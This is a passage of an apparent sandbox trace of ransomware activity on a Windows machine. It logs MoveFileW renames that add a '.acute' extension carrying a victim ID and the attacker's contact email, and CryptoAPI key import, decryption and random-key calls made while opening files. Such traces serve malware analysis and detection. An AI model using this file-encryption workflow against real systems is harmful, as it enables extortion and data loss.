Office\\Office14\\PROOF\\MSSP7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll")) returned 0 [0277.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex")) returned 0 [0277.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex")) returned 0 [0277.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex")) returned 0 [0277.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.107] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex")) returned 0 [0277.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv")) returned 0 [0277.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc")) returned 0 [0277.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc")) returned 0 [0277.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll")) returned 0 [0277.330] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.330] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\UML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\uml.dll")) returned 0 [0277.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\VISBRGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visbrgr.dll")) returned 0 [0277.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll")) returned 0 [0277.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll")) returned 0 [0277.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll")) returned 0 [0277.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll")) returned 0 [0277.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Journal\\Journal.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows journal\\journal.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Journal\\Journal.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows journal\\journal.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe")) returned 0 [0277.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Journal\\NBDoc.DLL" (normalized: "c:\\program files\\windows journal\\nbdoc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Journal\\NBDoc.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows journal\\nbdoc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Journal\\NBDoc.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows journal\\nbdoc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Journal\\NBDoc.DLL" (normalized: "c:\\program files\\windows journal\\nbdoc.dll")) returned 0 [0277.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Mail\\msoe.dll" (normalized: "c:\\program files\\windows mail\\msoe.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Mail\\msoe.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows mail\\msoe.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Mail\\msoe.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows mail\\msoe.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Mail\\msoe.dll" (normalized: "c:\\program files\\windows mail\\msoe.dll")) returned 0 [0277.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files\\windows mail\\msoeres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Mail\\MSOERES.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows mail\\msoeres.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Mail\\MSOERES.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows mail\\msoeres.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files\\windows mail\\msoeres.dll")) returned 0 [0277.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files\\windows media player\\setup_wm.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\setup_wm.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows media player\\setup_wm.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\setup_wm.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows media player\\setup_wm.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files\\windows media player\\setup_wm.exe")) returned 0 [0277.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe")) returned 0 [0277.846] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.846] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll")) returned 0 [0277.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll")) returned 0 [0277.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\icudt40_full.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\icudt40_full.dll"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\icudt40_full.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\icudt40_full.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\icudt40_full.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\icudt40_full.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\icudt40_full.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\icudt40_full.dll")) returned 0 Thread: id = 102 os_tid = 0x6d8 [0272.522] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4240060 [0272.522] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4250068 [0272.522] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c6560 [0272.522] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x110102) returned 0x4410020 [0272.523] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x50) returned 0x1c6590 [0272.523] CryptImportKey (in: hProv=0x7d5188, pbData=0x3e2fa48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e2fab0 | out: phKey=0x3e2fab0*=0x806d58) returned 1 [0272.523] CryptSetKeyParam (hKey=0x806d58, dwParam=0x1, pbData=0x3e2fa98, dwFlags=0x0) returned 1 [0272.523] CryptDecrypt (in: hKey=0x806d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6590, pdwDataLen=0x3e2fa64 | out: pbData=0x1c6590, pdwDataLen=0x3e2fa64) returned 1 [0272.523] CryptDestroyKey (hKey=0x806d58) returned 1 [0272.523] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bd0000 [0272.523] GetProcAddress (hModule=0x75bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75bfd650 [0272.523] Wow64DisableWow64FsRedirection (in: OldValue=0x3e2fb00 | out: OldValue=0x3e2fb00*=0x0) returned 1 [0272.523] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6590 | out: hHeap=0x1c0000) returned 1 [0272.523] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.523] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.523] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=129) returned 1 [0272.523] CloseHandle (hObject=0x324) returned 1 [0272.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0272.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0x20 [0272.524] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.524] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.524] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.524] CreateFileW (lpFileName="\\\\?\\C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.562] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5120) returned 1 [0272.562] CloseHandle (hObject=0x324) returned 1 [0272.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 0x80 [0272.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootex.log.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootex.log.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.562] CreateFileW (lpFileName="\\\\?\\C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.562] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e2fa40 | out: lpNewFilePointer=0x0) returned 1 [0272.562] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e2fa40 | out: lpNewFilePointer=0x0) returned 1 [0272.562] CreateFileW (lpFileName="\\\\?\\C:\\bootex.log.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootex.log.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.562] CloseHandle (hObject=0x324) returned 1 [0272.562] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, 